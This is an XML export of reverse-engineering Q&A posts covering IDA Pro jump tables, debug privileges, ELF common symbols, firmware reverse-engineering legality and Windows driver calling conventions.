  <row Id="12317" PostTypeId="1" AcceptedAnswerId="13618" CreationDate="2016-04-01T17:50:57.500" Score="4" ViewCount="3660" Body="&lt;p&gt;I want to identify the jump statements due to switch/case in an IDA Pro disassembled binary. My ultimate goal is to read the jump table entries. I am also interested in function table/vtables. For switch/case, I see the jump statements as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;jmp  ds:off_20B280CC[ebx*4]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;jmp  dword ptr ds:loc_6B2A825C[ecx*4]&lt;/code&gt; [Q: Is it due to switch/jump?]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The operand types of these jumps, as I see from &lt;code&gt;GetOperandValue(inst.ea, 0)&lt;/code&gt;, are &quot;Memory Reference&quot; (type value 2). The jump statements like &lt;code&gt;jb short loc_6B2A8154&lt;/code&gt; has operand type &quot;Immediate Near Address&quot; (type value 7). However, the jump statements like &lt;code&gt;jmp ds:__imp_memset&lt;/code&gt; in the thunk functions to call imported functions also have the operand type &quot;Memory Reference&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can distinguish between jump statements for switch/case and thunk functions? &lt;/p&gt;&#xA;" OwnerUserId="15268" LastEditorUserId="15268" LastEditDate="2016-04-01T18:05:06.617" LastActivityDate="2016-09-29T21:34:47.433" Title="Identify Jump Statements due to Switch/Case in IDA Pro" Tags="|disassembly|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12318" PostTypeId="2" ParentId="12317" CreationDate="2016-04-01T18:25:21.263" Score="0" Body="&lt;p&gt;On the x86 architecture, jump statements due to switch/case statements &lt;em&gt;often&lt;/em&gt; follow the pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp &amp;lt;offset&amp;gt; [&amp;lt;index-register&amp;gt; * 4]   ;; pointers are 4 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;&amp;lt;index-register&amp;gt;&lt;/code&gt; contains the value being switched on and the &quot;4&quot; is the scaling factor. Depending on your compiler may have good results searching for jump instructions with indexed memory operands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the compiler is free to compile switch statements into cascades of &lt;code&gt;cmp&lt;/code&gt; and &lt;code&gt;jnz&lt;/code&gt; statements if it determines that doing so would produce more efficient code. For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch (foo) {&#xA;case 1: do_something(); break;&#xA;case 10000: do_something_else(); break;&#xA;case 1000000: do_final_thing(); break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would be terribly inefficient implemented as a table lookup. Therefore, just looking for indexed memory operands won't necessarily find all switch/cases in your program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need also take into account that the compiler &lt;em&gt;may&lt;/em&gt; write the switch differently. It is fully possible that it might determine that it is better to emit the sequence&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,table_offset[eax*4]&#xA;jmp eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or, as in old hand-rolled binaries adapted from hand-written assembler written for 8086 or 80286 real mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shl eax,4&#xA;jmp table_offset[eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To cover all bases, you will be forced to use other techniques like backward slicing to determine the destinations of a compiled switch/case statement.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2016-04-01T18:25:21.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12319" PostTypeId="2" ParentId="12312" CreationDate="2016-04-01T19:10:06.420" Score="1" Body="&lt;p&gt;I have identified the problem. It comes in two steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Use PostMessageA instead of CallWindowProc&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PostMessageA(hWnd, WM_COMMAND, 40003, 0)&lt;/code&gt; does the heavy lifting and calls the WindowProc on the desired window.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Make sure that the Window is Top-Level&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had ignored this before because the application window was visible and I thought it was top-level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since I am executing &lt;code&gt;EnumWindows&lt;/code&gt; on the &lt;code&gt;Init&lt;/code&gt; procedure of my injected dll, my launcher process was still running and the window was child of my launcher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to wait for the launcher to quit, and then called &lt;code&gt;EnumWindows&lt;/code&gt; and &lt;code&gt;PostMessage&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15085" LastActivityDate="2016-04-01T19:10:06.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12320" PostTypeId="1" CreationDate="2016-04-01T23:00:24.717" Score="-1" ViewCount="9170" Body="&lt;p&gt;I am a little new to ida. So don't judge on the question I am about to ask but I am tired chasing my tail around. I am trying to attach ida to a running process but I get the following error messages:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can not reset debug privilege: Not all privileges or groups referenced&#xA;  are assigned to the caller.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Can not set debug privilege: Not all privileges or groups referenced&#xA;  are assigned to the caller.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Troubleshooting: I am running windows 7 and I have added user account to allow to debug programs in the secpol.msc file. &#xA;Any help will be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="14906" LastEditorUserId="14906" LastEditDate="2016-04-01T23:10:55.447" LastActivityDate="2016-04-08T17:26:03.643" Title="Attaching Ida to a process" Tags="|ida|debugging|debuggers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12321" PostTypeId="2" ParentId="12290" CreationDate="2016-04-02T00:23:10.397" Score="0" Body="&lt;p&gt;I assume by deadloop you mean infinite loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the loop should have one or more exit condition. The exit condition has one of the control-transfer instructions (jz, jg, ja...) that keeps the loop going. So it's enough to log the control-transfer instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logging the instructions can be expensive, and you may need to narrow the algorithm to specific thread and module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to consider to diagnose the infinite loops to know more about the cause before implementing algorithm to detect it.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2016-04-02T00:23:10.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12324" PostTypeId="1" AcceptedAnswerId="12327" CreationDate="2016-04-02T14:58:49.997" Score="8" ViewCount="1411" Body="&lt;p&gt;Not sure if this is the correct place to post this, but I am having some questions regarding the legality of reverse engineering firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I was looking into the Nintendo 3DS firmware. The EULA clearly states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You may not publish, copy, modify, &lt;strong&gt;reverse engineer&lt;/strong&gt;, lease, rent,&#xA;  decompile, or disassemble any portion of the Software, or bypass,&#xA;  modify, defeat, tamper with, or circumvent any of the functions or&#xA;  protections of your Nintendo 3DS, unless otherwise permitted by law.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code of Conduct:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To help keep the Network Services friendly and safe for all users, you&#xA;  will not engage in any harmful, illegal, or otherwise offensive&#xA;  conduct, such as:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Trying to modify or gain unauthorized access to another person’s&#xA;  Nintendo Device or Network Account or trying to modify, &lt;strong&gt;reverse&lt;/strong&gt;&#xA;  &lt;strong&gt;engineer&lt;/strong&gt;, or gain unauthorized or automated access to any of&#xA;  Nintendo’s computers, hardware, software, or networks used to provide&#xA;  the Network Services or any feature of a Nintendo Device; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Hosting, intercepting, emulating, &lt;strong&gt;reverse engineering&lt;/strong&gt;, or redirecting&#xA;  the communication protocols used by Nintendo as part of a Nintendo&#xA;  Device or the Network Services, regardless of the method used to do&#xA;  so; or do anything that might bypass or circumvent measures employed&#xA;  to prevent or limit access to any area, content or code of any&#xA;  Nintendo Device or Network Services (except as otherwise expressly&#xA;  permitted by law);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And yet you see blog posts like these: &lt;a href=&quot;http://gaasedelen.blogspot.ca/2014/03/depackaging-nintendo-3ds-cpu.html&quot;&gt;http://gaasedelen.blogspot.ca/2014/03/depackaging-nintendo-3ds-cpu.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what are the legal implications of reverse engineering the 3DS firmware and posting your finding in a blog post?&lt;/p&gt;&#xA;" OwnerUserId="12466" LastActivityDate="2016-04-02T23:30:59.443" Title="Legality of reverse engineering firmware" Tags="|firmware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12327" PostTypeId="2" ParentId="12324" CreationDate="2016-04-02T23:30:59.443" Score="8" Body="&lt;p&gt;This depends on a multitude oft things, especially your location, and you should really ask a lawyer. If Nintendo sues you, &quot;a random guy in the internet said it was ok&quot; won't help you anything; your lawyer can at least help you in court and should have insurance to cover up if things really go wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are limits to what an EULA can forbid you to do. But this depends a lot in your location. In the US, EULAs &lt;em&gt;tend&lt;/em&gt; to overrule rights that laws give you, in EU, law &lt;em&gt;tends&lt;/em&gt; to overrule EULAs. There is an EU directive that, greatly simplified, says you are allowed to reverse engineer stuff if you want to interface it with other stuff and the manufacturer doesn't give you neccesary documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is sometimes misinterpreted to mean &quot;as long as you live in the EU, reverse engineering is ok&quot;. &lt;strong&gt;This is wrong&lt;/strong&gt;. A EU directive is not comparable to US federal law; it just means the individual states have to pass laws with a general content. They have considerable leeway in doing so, and sometimes, EU directives don't get turned into national law at all. So what might be ok in one state might not be in another one. Or, you might be required to prove you asked for documentation and were refused before you reverse engineered anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even the existance of a blog post does not mean the blogger isn't breaking any laws. Nintendo might just not know about the post, or not care, or not want to draw the attention a lawsuit means. This doesn't mean they won't sue you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course, you may be doing something that turns out to be legal after a 3 year lawsuit that cost you several dozen thousand dollars. Companies have far greater resources than you do; winning your case in the end can still mean lots of trouble in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, any advice you can get on the internet will be bad advice. Don't take it. Ask someone who can take into account the specifics of your situation, and whom you can hold responsible in the case of bad advice.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-02T23:30:59.443" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12329" PostTypeId="1" CreationDate="2016-04-03T01:44:22.787" Score="1" ViewCount="644" Body="&lt;p&gt;I am trying to reverse engineer an DLL that is loaded from a EXE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the DLL file. I just have an executable file that injects the DLL into a certain process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try using ollydbg or similar software, I could not find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to dump the DLL file it injects!&lt;/p&gt;&#xA;" OwnerUserId="15624" LastActivityDate="2016-04-03T01:44:22.787" Title="Get DLL from EXE file" Tags="|ollydbg|malware|dll|dll-injection|" AnswerCount="0" CommentCount="1" ClosedDate="2016-04-05T13:18:11.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="12330" PostTypeId="1" CreationDate="2016-04-03T07:52:13.843" Score="2" ViewCount="643" Body="&lt;p&gt;How can I get a full memory dump from a &lt;code&gt;services.exe&lt;/code&gt; process on Windows 8.1 x64?&lt;/p&gt;&#xA;" OwnerUserId="12454" LastEditorUserId="245" LastEditDate="2016-04-04T12:30:09.447" LastActivityDate="2016-04-05T11:21:41.047" Title="How get a full memory dump of a running services.exe instance?" Tags="|windows|memory|windbg|memory-dump|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12333" PostTypeId="1" CreationDate="2016-04-03T20:23:57.073" Score="0" ViewCount="483" Body="&lt;p&gt;I am trying to understand the contents of an ELF relocatable object (*.o file), which appears to be a &#xA;Fortran file compiled to SPARC object code. I am looking at the sections below, which all look fine. &#xA;Note the &lt;code&gt;.data&lt;/code&gt; and &lt;code&gt;.bss&lt;/code&gt; sized 0xB4 and 0x12C respectively.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                   sh_type: SHT_NULL     sh_flags:      sh_offset: 00000000 sh_size: 00000000 sh_link: 00000000 sh_info: 00000000 sh_addralign: 00000000 sh_entsize: 00000000&#xA;.shstrtab          sh_type: SHT_STRTAB   sh_flags:      sh_offset: 00000034 sh_size: 00000052 sh_link: 00000000 sh_info: 00000000 sh_addralign: 00000001 sh_entsize: 00000000&#xA;.text              sh_type: SHT_PROGBITS sh_flags: xa   sh_offset: 00000088 sh_size: 00002154 sh_link: 00000000 sh_info: 00000000 sh_addralign: 00000008 sh_entsize: 00000000&#xA;.data              sh_type: SHT_PROGBITS sh_flags:  aw  sh_offset: 000021E0 sh_size: 000000B4 sh_link: 00000000 sh_info: 00000000 sh_addralign: 00000008 sh_entsize: 00000000&#xA;.bss               sh_type: SHT_NOBITS   sh_flags:  aw  sh_offset: 00002298 sh_size: 0000012C sh_link: 00000000 sh_info: 00000000 sh_addralign: 00000008 sh_entsize: 00000000&#xA;.stab.index        sh_type: SHT_PROGBITS sh_flags:      sh_offset: 00002298 sh_size: 00000024 sh_link: 00000006 sh_info: 00000000 sh_addralign: 00000004 sh_entsize: 0000000C&#xA;.stab.indexstr     sh_type: SHT_STRTAB   sh_flags:      sh_offset: 000022BC sh_size: 00000079 sh_link: 00000000 sh_info: 00000000 sh_addralign: 00000001 sh_entsize: 00000000&#xA;.symtab            sh_type: SHT_SYMTAB   sh_flags:  a   sh_offset: 00002338 sh_size: 00000300 sh_link: 00000008 sh_info: 00000023 sh_addralign: 00000004 sh_entsize: 00000010&#xA;.strtab            sh_type: SHT_STRTAB   sh_flags:  a   sh_offset: 00002638 sh_size: 00000232 sh_link: 00000000 sh_info: 00000000 sh_addralign: 00000001 sh_entsize: 00000000&#xA;.rela.text         sh_type: SHT_RELA     sh_flags:  a   sh_offset: 0000286C sh_size: 00000150 sh_link: 00000007 sh_info: 00000002 sh_addralign: 00000004 sh_entsize: 0000000C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the symbols in the object file, I found some symbols explicitly allocated in the &lt;code&gt;.data&lt;/code&gt; and &#xA;&lt;code&gt;.bss&lt;/code&gt; sections (I've trimmed the list of symbols to what I believe is relevant to the questions) as &#xA;well as symbols that appear to be referring to large data objects (likely arrays given that this is&#xA;a Fortran program) in the &lt;code&gt;SHN_COMMON&lt;/code&gt; pseudo-section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name                         type                section         value        size&#xA;...snippage...&#xA;11 GPB.t5matp.i              STT_OBJECT        4 .bss            000000A8         4&#xA;12 GPB.t5matp.x1             STT_OBJECT        4 .bss            000000B0         4&#xA;13 GPB.t5matp.xdenom         STT_OBJECT        4 .bss            000000B8         4&#xA;14 GPB.t5matp.pbar           STT_OBJECT        4 .bss            000000C0         4&#xA;...snippage...&#xA;31 GPB.t5matp.rgasx          STT_OBJECT        3 .data           000000AC         4&#xA;32 GPB.t5matp.xmolm          STT_OBJECT        3 .data           000000B0         4&#xA;33                           STT_SECTION       5 .stab.index     00000000         0&#xA;34                           STT_SECTION       6 .stab.indexstr  00000000         0&#xA;35 wrncom_                   STT_OBJECT    65522 SHN_COMMON      00000008       800&#xA;36 wrnco2_                   STT_OBJECT    65522 SHN_COMMON      00000008      6404&#xA;37 psiinc_                   STT_OBJECT    65522 SHN_COMMON      00000008   6000000&#xA;38 psirec_                   STT_OBJECT    65522 SHN_COMMON      00000008   4000000&#xA;39 psichc_                   STT_OBJECT    65522 SHN_COMMON      00000008   3000000&#xA;40 psiloc_                   STT_OBJECT    65522 SHN_COMMON      00000008    400000&#xA;41 psicoc_                   STT_OBJECT    65522 SHN_COMMON      00000008     40000&#xA;42 psidoc_                   STT_OBJECT    65522 SHN_COMMON      00000008   8000000&#xA;43 t5mat_                    STT_FUNC          2 .text           00000028       756&#xA;44 apcad_                    STT_NOTYPE        0                 00000000         0&#xA;45 t5matp_                   STT_FUNC          2 .text           00000520      7220&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading the ELF docs (e.g. &lt;a href=&quot;http://www.sco.com/developers/gabi/2003-12-17/ch4.sheader.html&quot; rel=&quot;nofollow&quot;&gt;http://www.sco.com/developers/gabi/2003-12-17/ch4.sheader.html&lt;/a&gt;)&#xA;I read that symbols defined relative to &lt;code&gt;SHN_COMMON&lt;/code&gt; sections &quot;...are common symbols, such&#xA;as FORTRAN COMMON or unallocated C external variables.&quot; The linker is supposed to allocate&#xA;space for the objects, but my question is: in which segment does this allocation occur? &#xA;Perhaps I'm missing something obvious, but it isn't clear to me which segment will end up&#xA;containing these objects. The combined size of the SHN_COMMON objects greatly exceeds the&#xA;specified sizes of the &lt;code&gt;.data&lt;/code&gt; and &lt;code&gt;.bss&lt;/code&gt; sections. Is there any other metadata that&#xA; guides the linker when it comes to SHN_COMMON sections?&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2016-12-12T21:32:54.810" Title="What segment do ELF SHN_COMMON objects get allocated in?" Tags="|elf|object-code|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12334" PostTypeId="1" CreationDate="2016-04-03T22:57:09.957" Score="2" ViewCount="559" Body="&lt;p&gt;I'd like to mark some data as being an enum, and have that automatically propagate to all uses of this piece of data. Both direct accesses to the data (e.g. &lt;code&gt;cmp data_with_enum_type, enum_value&lt;/code&gt;), and future use by any register it is copied into (e.g. &lt;code&gt;mov al, data_with_enum_type | cmp al, enum_value&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible in IDA, or something that could be straightforwardly scripted, or something an existing plugin may handle?&lt;/p&gt;&#xA;" OwnerUserId="15634" LastActivityDate="2016-04-03T22:57:09.957" Title="How to propagate an enum type in IDA Pro?" Tags="|ida|disassembly|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12336" PostTypeId="1" AcceptedAnswerId="12339" CreationDate="2016-04-04T11:29:55.843" Score="1" ViewCount="1471" Body="&lt;p&gt;Reverse engineering a kernel mode driver (in its 32-bit x86 incarnation) I stumbled over what seems to be an odd &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;nofollow&quot;&gt;calling convention&lt;/a&gt;. For a driver I'd expect to see &lt;code&gt;__cdecl&lt;/code&gt;, &lt;code&gt;__fastcall&lt;/code&gt; and &lt;code&gt;__stdcall&lt;/code&gt; in the Microsoft flavor. And since this driver obviously uses its own C++ runtime I'll expect to see &lt;code&gt;__thiscall&lt;/code&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in this driver I see functions that are passed their first argument in &lt;code&gt;eax&lt;/code&gt;. This is completely unexpected, so I am wondering if anyone here has an idea what could be going on?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_40XXXX      proc near&#xA;    push    ebx&#xA;    push    esi&#xA;    mov     esi, eax&#xA;    push    edi&#xA;    xor     edi, edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Frame pointer omission doesn't seem like a credible cause for what I am seeing. Is this a bad case of LTCG?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The driver in question is a file system mini filter driver and from the looks of it I'd guess it was linked by the linker in the Windows 7 WDK (although I cannot really say which &lt;em&gt;exact&lt;/em&gt; version, e.g. &lt;code&gt;7600.16385.1&lt;/code&gt; or another). Linker version states &lt;code&gt;9.00&lt;/code&gt; in the PE optional header. Subsystem version is 5.00 which would indicate that it was built to target Windows 2000. It also suggests that the subsystem was passed explicitly, since the Vista WDKs were the last ones to support targeting Windows 2000. Of course this could also have been built using VS 2008, hard to tell (the standalone WDKs used to include the same optimizing compilers as VS). For all I know it could also be a mix of compilers and linkers from different toolchains. But given that the linker needs to know about calling conventions, I'm still expecting to see &lt;em&gt;some&lt;/em&gt; standard calling convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the clues for the driver in question (trimmed down version of &lt;code&gt;dumpbin /headers ...&lt;/code&gt; output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        9.00 linker version&#xA;        1000 section alignment&#xA;         200 file alignment&#xA;        5.00 operating system version&#xA;        0.00 image version&#xA;        5.00 subsystem version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The standard calling convention for drivers is &lt;code&gt;__stdcall&lt;/code&gt;. But to verify that &lt;code&gt;__fastcall&lt;/code&gt; doesn't indeed use &lt;code&gt;eax&lt;/code&gt; as I see in the other driver, I decided to create a little driver. In order to prevent the compiler or linker to optimize out my function calls, I messed up some variables subsequently passed to &lt;code&gt;IoCreateSymbolicLink&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The C++ code for the respective two functions is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UINT_PTR __fastcall fastcall_test(UINT_PTR arg1, UINT_PTR arg2)&#xA;{&#xA;    UINT_PTR ret = arg1 + arg2;&#xA;    DbgPrint(&quot;%u, %u -&amp;gt; %u&quot;, arg1, arg2, ret);&#xA;    return ret;&#xA;}&#xA;&#xA;UINT_PTR __stdcall stdcall_test(UINT_PTR arg1, UINT_PTR arg2)&#xA;{&#xA;    UINT_PTR ret = arg1 + arg2;&#xA;    DbgPrint(&quot;%u, %u -&amp;gt; %u&quot;, arg1, arg2, ret);&#xA;    return ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and they're called as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UINT_PTR fct = fastcall_test((UINT_PTR)status, RegistryPath-&amp;gt;MaximumLength);&#xA;UINT_PTR sct = stdcall_test((UINT_PTR)status, RegistryPath-&amp;gt;MaximumLength);&#xA;&#xA;usSymlinkName.Buffer += fct;&#xA;usSymlinkName.Length += (USHORT)fct;&#xA;usSymlinkName.Buffer += sct;&#xA;usSymlinkName.MaximumLength += (USHORT)(sct + fct);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from &lt;code&gt;DriverEntry&lt;/code&gt; between &lt;code&gt;IoCreateDevice&lt;/code&gt; and &lt;code&gt;IoCreateSymbolicLink&lt;/code&gt; in a default project generated using DDKWizard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When compiling this targeting Windows XP, the outcome is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00010512 unsigned int __fastcall fastcall_test(unsigned int, unsigned int) proc near&#xA;.text:00010512                                         ; CODE XREF: DriverEntry(x,x)+41p&#xA;.text:00010512 arg1 = ecx&#xA;.text:00010512 arg2 = edx&#xA;.text:00010512                 mov     edi, edi&#xA;.text:00010514                 push    esi&#xA;.text:00010515                 lea     esi, [arg1+arg2]&#xA;.text:00010518                 push    esi&#xA;.text:00010519                 push    arg2&#xA;.text:0001051A                 push    arg1&#xA;.text:0001051B                 push    offset Format   ; &quot;%u, %u -&amp;gt; %u&quot;&#xA;.text:00010520                 call    _DbgPrint&#xA;.text:00010525                 add     esp, 10h&#xA;.text:00010528                 mov     eax, esi&#xA;.text:0001052A                 pop     esi&#xA;.text:0001052B                 retn&#xA;.text:0001052B unsigned int __fastcall fastcall_test(unsigned int, unsigned int) endp&#xA;.text:00010532 unsigned int __stdcall stdcall_test(unsigned int, unsigned int) proc near&#xA;.text:00010532                                         ; CODE XREF: DriverEntry(x,x)+50p&#xA;.text:00010532&#xA;.text:00010532 arg1            = dword ptr  8&#xA;.text:00010532 arg2            = dword ptr  0Ch&#xA;.text:00010532&#xA;.text:00010532                 mov     edi, edi&#xA;.text:00010534                 push    ebp&#xA;.text:00010535                 mov     ebp, esp&#xA;.text:00010537                 mov     eax, [ebp+arg1]&#xA;.text:0001053A                 mov     ecx, [ebp+arg2]&#xA;.text:0001053D                 push    esi&#xA;.text:0001053E                 lea     esi, [eax+ecx]&#xA;.text:00010541                 push    esi&#xA;.text:00010542                 push    ecx&#xA;.text:00010543                 push    eax&#xA;.text:00010544                 push    offset Format   ; &quot;%u, %u -&amp;gt; %u&quot;&#xA;.text:00010549                 call    _DbgPrint&#xA;.text:0001054E                 add     esp, 10h&#xA;.text:00010551                 mov     eax, esi&#xA;.text:00010553                 pop     esi&#xA;.text:00010554                 pop     ebp&#xA;.text:00010555                 retn    8&#xA;.text:00010555 unsigned int __stdcall stdcall_test(unsigned int, unsigned int) endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As expected &lt;code&gt;__fastcall&lt;/code&gt; ends up passing arguments via &lt;code&gt;ecx&lt;/code&gt; and &lt;code&gt;edx&lt;/code&gt;. So what's going on with my other driver?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Meanwhile I found out how the PE header values could be achieved using a vanilla Windows 7 WDK. This will then yield a binary which is compatible with Windows 2000, assuming you build for x86, and contain these exact values (and of course assuming you don't do stupid things like statically importing DDIs only available &lt;em&gt;after&lt;/em&gt; Windows 2000).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;In &lt;code&gt;sources&lt;/code&gt; specify ...&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;USE_MAKEFILE_INC=1&#xA;SUBSYSTEM_VERSION=$(SUBSYSTEM_500)&#xA;# Alternatively:&#xA;#SUBSYSTEM_VERSION=5.00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will force &lt;code&gt;nmake&lt;/code&gt; to include &lt;code&gt;makefile.inc&lt;/code&gt; from the same location as the &lt;code&gt;sources&lt;/code&gt; file and set the &lt;code&gt;SUBSYSTEM_VERSION&lt;/code&gt; correctly (5.00 for x86 and 5.02 for amd64).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Then in &lt;code&gt;makefile.inc&lt;/code&gt; override&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LINKER_APP_VERSION=0.00&#xA;LINKER_OS_VERSION=$(SUBSYSTEM_VERSION)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works because &lt;code&gt;makefile.inc&lt;/code&gt; gets included quite late from &lt;code&gt;makefile.new&lt;/code&gt; and therefore we can use it to override the defaults specified by the default build environment.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2016-04-04T15:01:19.947" LastActivityDate="2016-04-04T15:01:19.947" Title="Confused about calling convention in a Windows kernel mode driver" Tags="|windows|driver|calling-conventions|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12337" PostTypeId="2" ParentId="12320" CreationDate="2016-04-04T13:47:27.253" Score="0" Body="&lt;p&gt;Those aren't error messages; they're notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;debug privilege&quot; in Windows is a bit of a misnomer. A debugger process does not typically need to have the debug privilege in order to debug a target process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A process with the debug privilege can open a handle to any other process and circumvent the standard &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff563674.aspx&quot; rel=&quot;nofollow&quot;&gt;access checks&lt;/a&gt; performed by Windows. But if you only need to debug a process for which you already have permission to open a handle then there's no need for the privilege.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.microsoft.com/en-us/kb/131065&quot; rel=&quot;nofollow&quot;&gt;Official wording from Microsoft&lt;/a&gt; regarding the debug privilege:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This functionality is provided for system-level debugging purposes.&#xA;  For debugging non-system processes, it is not necessary to grant or&#xA;  enable this privilege.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-04T13:47:27.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
